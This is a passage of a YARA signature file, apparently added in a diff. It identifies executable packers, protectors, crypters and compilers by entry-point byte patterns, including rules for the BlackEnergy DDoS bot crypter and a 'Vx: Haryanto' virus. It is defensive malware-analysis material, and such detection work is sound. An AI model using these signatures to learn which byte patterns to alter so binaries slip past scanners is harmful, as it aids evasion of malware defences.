+rule _FSG_v110_Eng__dulekxt__Microsoft_Visual_Cpp_50__60_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 5.0 / 6.0)"
+	strings:
+		$0 = {33 D2 0F BE D2 EB 01 C7 EB 01 D8 8D 05 80 ?? ?? ?? EB 02 CD 20 EB 01 F8 BE F4 00 00 00 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_v032a_fake_UPX_0896__102__105__124__emadicius_h_
+{
+	meta:
+		description = "MSLRH v0.32a (fake UPX 0.89.6 - 1.02 / 1.05 - 1.24) -> emadicius (h)"
+	strings:
+		$0 = {60 BE 00 90 8B 00 8D BE 00 80 B4 FF 57 83 CD FF EB 3A 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 0B 75 19 8B 1E 83 EE FC 11 DB 72 10 58 61 90 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Themida_1201__Oreans_Technologies_h_
+{
+	meta:
+		description = "Themida 1.2.0.1 -> Oreans Technologies (h)"
+	strings:
+		$0 = {8B C5 8B D4 60 E8 00 00 00 00 5D 81 ED ?? ?? 35 09 89 95 ?? ?? 35 09 89 B5 ?? ?? 35 09 89 85 ?? ?? 35 09 83 BD ?? ?? 35 09 00 74 0C 8B E8 8B E2 B8 01 00 00 00 C2 0C 00 8B 44 24 24 89 85 ?? ?? 35 09 6A 45 E8 A3 00 00 00 68 9A 74 83 07 E8 DF 00 00 00 68 25}
+		$1 = {8B C5 8B D4 60 E8 00 00 00 00 5D 81 ED ?? ?? 35 09 89 95 ?? ?? 35 09 89 B5 ?? ?? 35 09 89 85 ?? ?? 35 09 83 BD ?? ?? 35 09 00 74 0C 8B E8 8B E2 B8 01 00 00 00 C2 0C 00 8B 44 24 24 89 85 ?? ?? 35 09 6A 45 E8 A3 00 00 00 68 9A 74 83 07 E8 DF 00 00 00 68 25 4B 89 0A E8 D5 00 00 00 E9 11 02 00 00 00 00 00}
+	condition:
+		$0 or $1
+}
+rule _Unnamed_Scrambler_20__p0ke_
+{
+	meta:
+		description = "Unnamed Scrambler 2.0 -> p0ke"
+	strings:
+		$0 = {55 8B EC B9 0A 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 1C 2F 40 00 E8 C8 F1 FF FF 33 C0 55 68 FB 33 40 00 64 FF 30 64 89 20 BA 0C 34 40 00 B8 E4 54 40 00 E8 EF FE FF FF 8B D8 85 DB 75 07 6A 00 E8 5A F2 FF FF BA E8 54 40 00 8B C3 8B 0D E4 54 40 00 E8 74}
+		$1 = {55 8B EC B9 0A 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 1C 2F 40 00 E8 C8 F1 FF FF 33 C0 55 68 FB 33 40 00 64 FF 30 64 89 20 BA 0C 34 40 00 B8 E4 54 40 00 E8 EF FE FF FF 8B D8 85 DB 75 07 6A 00 E8 5A F2 FF FF BA E8 54 40 00 8B C3 8B 0D E4 54 40 00 E8 74 E2 FF FF C7 05 20 6B 40 00 09 00 00 00 BB 98 69 40 00 C7 45 EC E8 54 40 00 C7 45 E8 31 57 40 00 C7 45 E4 43 60 40 00 BE D3 6A 40 00 BF E0 6A 40 00 83 7B 04 00 75 0B 83 3B 00 0F 86 AA 03 00 00 EB 06 0F 8E A2 03 00 00 8B 03 8B D0 B8 0C 6B 40 00 E8 C1 EE FF FF B8 0C 6B 40 00 E8 6F EE FF FF 8B D0 8B 45 EC 8B 0B E8 0B E2 FF FF 6A 00 6A 1E 6A 00 6A 2C A1 0C 6B 40 00 E8 25 ED FF FF 8D 55 E0 E8 15 FE FF FF 8B 55 E0 B9 10 6B 40 00 A1 0C 6B 40 00}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _SPLayer_v008_
+{
+	meta:
+		description = "SPLayer v0.08"
+	strings:
+		$0 = {8D 40 00 B9 ?? ?? ?? ?? 6A ?? 58 C0 0C ?? ?? 48 ?? ?? 66 13 F0 91 3B D9 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00}
+	condition:
+		$0
+}
+rule _MinGW_32x_Dll_main_
+{
+	meta:
+		description = "MinGW 3.2.x (Dll_main)"
+	strings:
+		$0 = {55 89 E5 83 EC 18 89 75 FC 8B 75 0C 89 5D F8 83 FE 01 74 5C 89 74 24 04 8B 55 10 89 54 24 08 8B 55 08 89 14 24 E8 96 01 00 00 83 EC 0C 83 FE 01 89 C3 74 2C 85 F6 75 0C 8B 0D 00 30 00 10 85 C9 75 10 31 DB 89 D8 8B 5D F8 8B 75 FC 89 EC 5D C2 0C 00 E8 59 00}
+	condition:
+		$0
+}
+rule _PKLITE_v100c_1_
+{
+	meta:
+		description = "PKLITE v1.00c (1)"
+	strings:
+		$0 = {2E 8C 1E ?? ?? 8B 1E ?? ?? 8C DA 81 C2 ?? ?? 3B DA 72 ?? 81 EB ?? ?? 83 EB ?? FA 8E D3 BC ?? ?? FB FD BE ?? ?? 8B FE}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Microsoft_Visual_Cpp_60__70_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)"
+	strings:
+		$0 = {0B D0 8B DA E8 02 00 00 00 40 A0 5A EB 01 9D B8 80 ?? ?? 00 EB 02 CD 20 03 D3 8D 35 F4 00 00 00 EB 01 35 EB 01 88 80 CA 7C 80 F3 74 8B 38 EB 02 AC BA 03 DB E8 01 00 00 00 A5 5B C1 C2 0B 81 C7 DA 10 0A 4E EB 01 08 2B D1 83 EF 14 EB 02 CD 20 33 D3 83 EF 27}
+		$1 = {0B D0 8B DA E8 02 00 00 00 40 A0 5A EB 01 9D B8 80 ?? ?? 00 EB 02 CD 20 03 D3 8D 35 F4 00 00 00 EB 01 35 EB 01 88 80 CA 7C 80 F3 74 8B 38 EB 02 AC BA 03 DB E8 01 00 00 00 A5 5B C1 C2 0B 81 C7 DA 10 0A 4E EB 01 08 2B D1 83 EF 14 EB 02 CD 20 33 D3 83 EF 27 EB 02 82 53 EB 02 CD 20 87 FA 88 10 80 F3 CA EB 02 CD 20 40 03 D7 0B D0 4E 1B D2 EB 02 CD 20 2B D2 3B F2 75 AC F7 DA 80 C3 AF 91 1C 31 62 A1 61 20 61 71 A1 61 1F ?? ?? ?? 61 B4 49 6B 61 61 61 63 33 D6 66 EB 77 A7 73 33 24 13 E1 94 3C 05 14 63 60 75 85 D4 59 94 2A 60 75 85 D4 79 94 21 60 75 85 D4 82 14 63 A2 11 71 60 75 85 73 21 D4 5A D6 A0 0B 4C 3D 49 A4 61 61 61 8C 2C D6 71 49 99 61 61 61 4C 89 0D 32 49 D5 A2 74 2A 4C 7D F2 A9 22 41 69 0D 49 83 61 61 61 9E 61 DE 61 61 D4 6B E1 5D 66 D4 67 E4 59 E0 D8 63}
+		$2 = {0B D0 8B DA E8 02 00 00 00 40 A0 5A EB 01 9D B8 80 ?? ?? ?? EB 02 CD 20 03 D3 8D 35 F4 00}
+		$3 = {87 FE E8 02 00 00 00 98 CC 5F BB 80 ?? ?? 00 EB 02 CD 20 68 F4 00 00 00 E8 01 00 00 00 E3}
+		$4 = {EB 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00}
+		$5 = {F7 D8 40 49 EB 02 E0 0A 8D 35 80 ?? ?? ?? 0F B6 C2 EB 01 9C 8D 1D F4 00 00 00 EB 01 3C 80}
+		$6 = {F7 DB 80 EA BF B9 2F 40 67 BA EB 01 01 68 AF ?? A7 BA 80 EA 9D 58 C1 C2 09 2B C1 8B D7 68}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint or $4 at entrypoint or $5 at entrypoint or $6 at entrypoint
+}
+rule _Alex_Protector_04_beta_1_by_Alex_
+{
+	meta:
+		description = "Alex Protector 0.4 beta 1 by Alex"
+	strings:
+		$0 = {60 E8 01 00 00 00 C7 83 C4 04 33 C9 E8 01 00 00 00 68 83 C4 04 E8 01 00 00 00 68 83 C4 04 B9 ?? 00 00 00 E8 01 00 00 00 68 83 C4 04 E8 00 00 00 00 E8 01 00 00 00 C7 83 C4 04 8B 2C 24 83 C4 04 E8 01 00 00 00 A9 83 C4 04 81 ED 3C 13 40 00 E8 01 00 00 00 68}
+	condition:
+		$0
+}
+rule _SDProtect__Randy_Li_
+{
+	meta:
+		description = "SDProtect -> Randy Li"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05}
+		$1 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 ?? ?? ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? 00 00 00}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Berio_100_beta_h_
+{
+	meta:
+		description = "Berio 1.00 beta (h)"
+	strings:
+		$0 = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E9 01 12 00 00 90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 B0 01 00 83 BD 22 04 00 00 00 89 9D 22 04 00 00 0F 85 65 03 00 00 8D 85 2E 04 00 00 50 FF 95 4D 0F}
+	condition:
+		$0 at entrypoint
+}
+rule _Exe_Shield_v27_
+{
+	meta:
+		description = "Exe Shield v2.7"
+	strings:
+		$0 = {EB 06 68 F4 86 06 00 C3 9C 60 E8 02 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Windows_Type_1_font_metric_file_
+{
+	meta:
+		description = "Windows Type 1 font metric file"
+	strings:
+		$0 = {00 01 ?? ?? 00 00 43 6F 70 79 72 69 67 68 74 20}
+	condition:
+		$0
+}
+rule _ASPack_v211_
+{
+	meta:
+		description = "ASPack v2.11"
+	strings:
+		$0 = {60 E9 3D 04 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _AZProtect_0x0001__AlexZ_aka_AZCRC_
+{
+	meta:
+		description = "AZProtect 0x0001 -> AlexZ aka AZCRC"
+	strings:
+		$0 = {EB 70 FC 60 8C 80 4D 11 00 70 25 81 00 40 0D 91 BB 60 8C 80 4D 11 00 70 21 81 1D 61 0D 81 00 40 CE 60 8C 80 4D 11 00 70 25 81 25 81 25 81 25 81 29 61 41 81 31 61 1D 61 00 40 B7 30 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_v071_DLL_
+{
+	meta:
+		description = "UPX v0.71 [DLL"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 95 01 00 00 60 E8 00 00 00 00 83}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECrypt_10__ReBirth_
+{
+	meta:
+		description = "EXECrypt 1.0 -> ReBirth"
+	strings:
+		$0 = {90 90 60 E8 00 00 00 00 5D 81 ED D1 27 40 00 B9 15 00 00 00 83 C1 04 83 C1 01 EB 05 EB FE 83 C7 56 EB 00 EB 00 83 E9 02 81 C1 78 43 27 65 EB 00 81 C1 10 25 94 00 81 E9 63 85 00 00 B9 96 0C 00 00 90 8D BD 4E 28 40 00 8B F7 AC}
+	condition:
+		$0 at entrypoint
+}
+rule _PUNiSHER_V15__FEUERRADER_
+{
+	meta:
+		description = "PUNiSHER V1.5 -> FEUERRADER"
+	strings:
+		$0 = {3F 00 00 80 66 20 ?? 00 7E 20 ?? 00 92 20 ?? 00 A4 20 ?? 00 00 00 00 00 4B 45 52 4E 45 4C 33 32}
+	condition:
+		$0
+}
+rule _Armadillo_410__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo 4.10 -> Silicon Realms Toolworks"
+	strings:
+		$0 = {55 8B EC 6A FF 68 F8 8E 4C 00 68 D0 EA 49 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 31 4C 00 33 D2 8A D4 89 15 7C A5 4C 00 8B C8 81 E1 FF 00 00 00 89 0D 78 A5 4C 00 C1 E1 08 03 CA 89 0D 74 A5 4C 00 C1 E8 10 A3 70 A5}
+	condition:
+		$0
+}
+rule _SDProtector_V11X__Randy_Li__Sign_by_fly_
+{
+	meta:
+		description = "SDProtector V1.1X -> Randy Li ! Sign by fly"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 88 88 88 08 64 A1}
+	condition:
+		$0 at entrypoint
+}
+rule _SimplePack_V12build3009_Method2__bagie_
+{
+	meta:
+		description = "SimplePack V1.2.build.30.09 (Method2) -> bagie"
+	strings:
+		$0 = {4D 5A 90 EB 01 00 52 E9 86 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04}
+	condition:
+		$0 at entrypoint
+}
+rule _CC_v261_Beta_
+{
+	meta:
+		description = "CC v2.61 Beta"
+	strings:
+		$0 = {BA ?? ?? B4 30 CD 21 3C 02 73 ?? 33 C0 06 50 CB}
+	condition:
+		$0 at entrypoint
+}
+rule _eXpressor_v12__CGSoftLabs_
+{
+	meta:
+		description = "eXpressor v1.2 -> CGSoftLabs"
+	strings:
+		$0 = {55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76}
+	condition:
+		$0 at entrypoint
+}
+rule _Safe_20_
+{
+	meta:
+		description = "Safe 2.0"
+	strings:
+		$0 = {83 EC 10 53 56 57 E8 C4 01 00}
+	condition:
+		$0
+}
+rule _Microsoft_Visual_Cpp_60_DLL_
+{
+	meta:
+		description = "Microsoft Visual C++ 6.0 DLL"
+	strings:
+		$0 = {55 8B EC 53 8B 5D 08 56 8B 75 0C 57 8B 7D 10 85 F6 75 09 83 3D ?? ?? ?? ?? ?? EB 26 83 FE 01 74 05 83 FE 02 75 22 A1 ?? ?? ?? ?? 85 C0 74 09 57 56 53 FF D0 85 C0 74 0C 57 56 53 E8 15 FF FF FF 85 C0 75 04 33 C0 EB 4E}
+	condition:
+		$0
+}
+rule _EPW_v130_
+{
+	meta:
+		description = "EPW v1.30"
+	strings:
+		$0 = {06 57 1E 56 55 52 51 53 50 2E 8C 06 08 00 8C C0 83 C0 10 2E}
+	condition:
+		$0 at entrypoint
+}
+rule _PEQuake_V006__forgat_
+{
+	meta:
+		description = "PEQuake V0.06 -> forgat"
+	strings:
+		$0 = {E8 A5 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _yodas_Protector_V101__Ashkbiz_Danehkar__Sign_by_fly_
+{
+	meta:
+		description = "yoda's Protector V1.01 -> Ashkbiz Danehkar ! Sign by fly"
+	strings:
+		$0 = {55 8B EC 53 56 57 E8 03 00 00 00 EB 01 ?? E8 86 00 00 00 E8 03 00 00 00 EB 01 ?? E8 79 00 00 00 E8 03 00 00 00 EB 01 ?? E8 A4 00 00 00 E8 03 00 00 00 EB 01 ?? E8 97 00 00 00 E8 03 00 00 00 EB 01 ?? E8 2D 00 00 00 E8 03 00 00 00 EB 01 ?? 60 E8 00 00 00 00 5D 81 ED D5 E4 41 00 8B D5 81 C2 23 E5 41 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_V2403__Jitit_
+{
+	meta:
+		description = "Thinstall V2.403 -> Jitit"
+	strings:
+		$0 = {6A 00 FF 15 20 50 40 00 E8 D4 F8 FF FF E9 E9 AD FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41 14 80 00 00 00 C2 04 00 55 8B EC 53 56 57 33 C0 33 FF 39 45 0C 8B F1 76 0C 8B 4D 08 03 3C 81 40 3B 45 0C 72 F4 8B CE E8 43 00 00 00 8B 46 14 33 D2 F7 F7 8B 5E 10 33 D2 8B F8 8B C3 F7 F7 89 7E 18 89 45 0C 33 C0 33 C9 8B 55 08 03 0C 82 40 39 4D 0C 73 F4 48 8B 14 82 2B CA 0F AF CF 2B D9 0F AF FA 89 7E 14 89 5E 10 5F 5E 5B 5D C2 08 00 57 BF 00 00 80 00 39 79 14 77 36 53 56 8B B1 29 04 00 00 8B 41 0C 8B 59 10 03 DB 8A 14 30 83 E2 01 0B D3 C1 E2 07 40 89 51 10 89 41 0C 0F B6 04 30 C1 61 14 08 D1 E8 09 41 10 39}
+	condition:
+		$0 at entrypoint
+}
+rule _DEF_v10_
+{
+	meta:
+		description = "DEF v1.0"
+	strings:
+		$0 = {BE ?? 01 40 00 6A 05 59 80 7E 07 00 74 11 8B 46}
+		$1 = {BE ?? 01 40 00 6A ?? 59 80 7E 07 00 74 11 8B 46 0C 05 00 00 40 00 8B 56 10 30 10 40 4A 75 FA 83 C6 28 E2 E4 68 ?? 10 40 00 C3}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _MSLRH_v032a__emadicius_
+{
+	meta:
+		description = "MSLRH v0.32a -> emadicius"
+	strings:
+		$0 = {EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03}
+	condition:
+		$0
+}
+rule _ASProtect_v11_MTE_
+{
+	meta:
+		description = "ASProtect v1.1 MTE"
+	strings:
+		$0 = {60 E9 ?? ?? ?? ?? 91 78 79 79 79 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_v032a_fake_BJFNT_13__emadicius_h_
+{
+	meta:
+		description = "MSLRH v0.32a (fake .BJFNT 1.3) -> emadicius (h)"
+	strings:
+		$0 = {EB 03 3A 4D 3A 1E EB 02 CD 20 9C EB 02 CD 20 EB 02 CD 20 60 EB 02 C7 05 EB 02 CD 20 E8 03 00 00 00 E9 EB 04 58 40 50 C3 61 9D 1F EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _mPack_003__DeltaAziz_
+{
+	meta:
+		description = "mPack 0.0.3 -> DeltaAziz"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 33 C0 89 45 F0 B8 A8 76 00 10 E8 67 C4 FF FF 33 C0 55 68 C2 78 00 10 64 FF 30 64 89 20 8D 55 F0 33 C0 E8 93 C8 FF FF 8B 45 F0 E8 87 CB FF FF A3 08 A5 00 10 33 C0 55 68 A5 78 00 10 64 FF 30 64 89 20 A1 08 A5 00 10 E8 FA C9 FF FF 83 F8 FF}
+		$1 = {55 8B EC 83 C4 F0 33 C0 89 45 F0 B8 A8 76 00 10 E8 67 C4 FF FF 33 C0 55 68 C2 78 00 10 64 FF 30 64 89 20 8D 55 F0 33 C0 E8 93 C8 FF FF 8B 45 F0 E8 87 CB FF FF A3 08 A5 00 10 33 C0 55 68 A5 78 00 10 64 FF 30 64 89 20 A1 08 A5 00 10 E8 FA C9 FF FF 83 F8 FF 75 0A E8 88 B2 FF FF E9 1B 01 00 00 C7 05 14 A5 00 10 32 00 00 00 A1 08 A5 00 10 8B 15 14 A5 00 10 E8 C9 C9 FF FF BA 14 A5 00 10 A1 08 A5 00 10 B9 04 00 00 00 E8 C5 C9 FF FF 83 3D 14 A5 00 10 32 77 0A E8 47 B2 FF FF E9 DA 00 00 00 A1 08 A5 00 10 8B 15 14 A5 00 10 E8 92 C9 FF FF BA 18 A5}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _yzpack_V112__UsAr_
+{
+	meta:
+		description = "yzpack V1.12 -> UsAr"
+	strings:
+		$0 = {5A 52 45 60 83 EC 18 8B EC 8B FC 33 C0 64 8B 40 30 78 0C 8B 40 0C 8B 70 1C AD 8B 40 08 EB 09 8B 40 34 83 C0 7C 8B 40 3C AB E9 ?? ?? ?? ?? B4 09 BA 00 00 1F CD 21 B8 01 4C CD 21 40 00 00 00 50 45 00 00 4C 01 02 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 E0 00}
+	condition:
+		$0 at entrypoint
+}
+rule _BlackEnergy_DDoS_Bot_Crypter_
+{
+	meta:
+		description = "BlackEnergy DDoS Bot Crypter"
+	strings:
+		$0 = {55 ?? ?? 81 EC 1C 01 00 00 53 56 57 6A 04 BE 00 30 00 00 56 FF 35 00 20 11 13 6A 00 E8 ?? 03 00 00 ?? ?? 83 C4 10 ?? FF 89 7D F4 0F}
+	condition:
+		$0 at entrypoint
+}
+rule _PKLITE_v112_v115_v120_1_
+{
+	meta:
+		description = "PKLITE v1.12, v1.15, v1.20 (1)"
+	strings:
+		$0 = {B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 06 ?? ?? 73 ?? 2D ?? ?? FA 8E D0 FB 2D ?? ?? 8E C0 50 B9 ?? ?? 33 FF 57 BE ?? ?? FC F3 A5 CB B4 09 BA ?? ?? CD 21 CD 20}
+	condition:
+		$0 at entrypoint
+}
+rule _WWPACK_v302_v302a_Extractable_
+{
+	meta:
+		description = "WWPACK v3.02, v3.02a (Extractable)"
+	strings:
+		$0 = {B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 33 C9 B1 ?? 51 06 06 BB ?? ?? 53 8C D3}
+	condition:
+		$0 at entrypoint
+}
+rule _Setup_Factory_6003_Setup_Launcher_
+{
+	meta:
+		description = "Setup Factory 6.0.0.3 Setup Launcher"
+	strings:
+		$0 = {55 8B EC 6A FF 68 90 61 40 00 68 70 3B 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 14 61 40 00 33 D2 8A D4 89 15 5C 89 40 00 8B C8 81 E1 FF 00 00 00 89 0D 58 89 40 00 C1 E1 08 03 CA 89 0D 54 89 40 00 C1 E8 10 A3 50 89}
+	condition:
+		$0
+}
+rule _Pohernah_Crypter_V101__Kas_
+{
+	meta:
+		description = "Pohernah Crypter V1.0.1 -> Kas"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED F1 26 40 00 8B BD 18 28 40 00 8B 8D 20 28 40 00 B8 38 28 40 00 01 E8 80 30 05 83 F9 00 74 71 81 7F 1C AB 00 00 00 75 62 8B 57 0C 03 95 1C 28 40 00 31 C0 51 31 C9 66 B9 FA 00 66 83 F9 00 74 49 8B 57 0C 03 95 1C 28 40 00 8B 85 24}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Haryanto_
+{
+	meta:
+		description = "Vx: Haryanto"
+	strings:
+		$0 = {81 EB 2A 01 8B 0F 1E 5B 03 CB 0E 51 B9 10 01 51 CB}
+	condition:
+		$0 at entrypoint
+}
+rule _Pelles_C_300_400_450_EXE_X86_CRTDLL_
+{
+	meta:
+		description = "Pelles C 3.00, 4.00, 4.50 EXE (X86 CRT-DLL)"
+	strings:
+		$0 = {55 89 E5 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 83 EC ?? 53 56 57 89 65 E8 C7 45 FC ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 BE ?? ?? ?? ?? EB}
+	condition:
+		$0
+}
+rule _muckis_protector__mucki_
+{
+	meta:
+		description = "mucki's protector -> mucki"
+	strings:
+		$0 = {BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8A 06 F6 D0 88 06 46 E2 F7 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _MEGALITE_v120a_
+{
+	meta:
+		description = "MEGALITE v1.20a"
+	strings:
+		$0 = {B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 2D 73 ?? 72 ?? B4 09 BA ?? ?? CD 21 CD 90}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressor_V13__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor V1.3 -> CGSoftLabs"
+	strings:
+		$0 = {55 8B EC 83 EC ?? 53 56 57 EB 0C 45}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Cpp_1992_1994_
+{
+	meta:
+		description = "Borland C++ 1992, 1994"
+	strings:
+		$0 = {8C C8 8E D8 8C 1E ?? ?? 8C 06 ?? ?? 8C 06 ?? ?? 8C 06}
+	condition:
+		$0 at entrypoint
+}
+rule _VProtector_11X__vcasm_
+{
+	meta:
+		description = "VProtector 1.1X -> vcasm"
+	strings:
+		$0 = {EB 0B 5B 56 50 72 6F 74 65 63 74 5D 00 E8 24 00 00 00 8B 44 24 04 8B 00 3D 04 00 00 80 75 08 8B 64 24 08 EB 04 58 EB 0C E9 64 8F 05 00 00 00 00 74 F3 75 F1 EB 24 64 FF 35 00 00 00 00 EB 12 FF 9C 74 03 75 01 E9 81 0C 24 00 01 00 00 9D 90 EB F4 64 89 25 00 00 00 00 EB E6 E8 16 00 00 00 8B 5C 24 0C 8B A3 C4 00 00 00 64 8F 05 00 00 00 00 83 C4 04 EB 14 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C9 99 F7 F1 E9 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 16 00 00 00 8B 5C 24 0C 8B A3 C4 00 00 00 64 8F 05 00 00 00 00 83 C4 04 EB 14 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C9 99 F7 F1 E9 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Pelles_C_2x4x_DLL__Pelle_Orinius_
+{
+	meta:
+		description = "Pelles C 2.x-4.x DLL -> Pelle Orinius"
+	strings:
+		$0 = {55 89 E5 53 56 57 8B 5D 0C 8B 75 10}
+	condition:
+		$0 at entrypoint
+}
+rule _Freshbind_v20__gFresh_
+{
+	meta:
+		description = "Freshbind v2.0 -> gFresh"
+	strings:
+		$0 = {64 A1 00 00 00 00 55 89 E5 6A FF 68 1C A0 41 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ACProtectUltraProtect_10X20X__RiSco_
+{
+	meta:
+		description = "ACProtect/UltraProtect 1.0X-2.0X -> RiSco"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00}
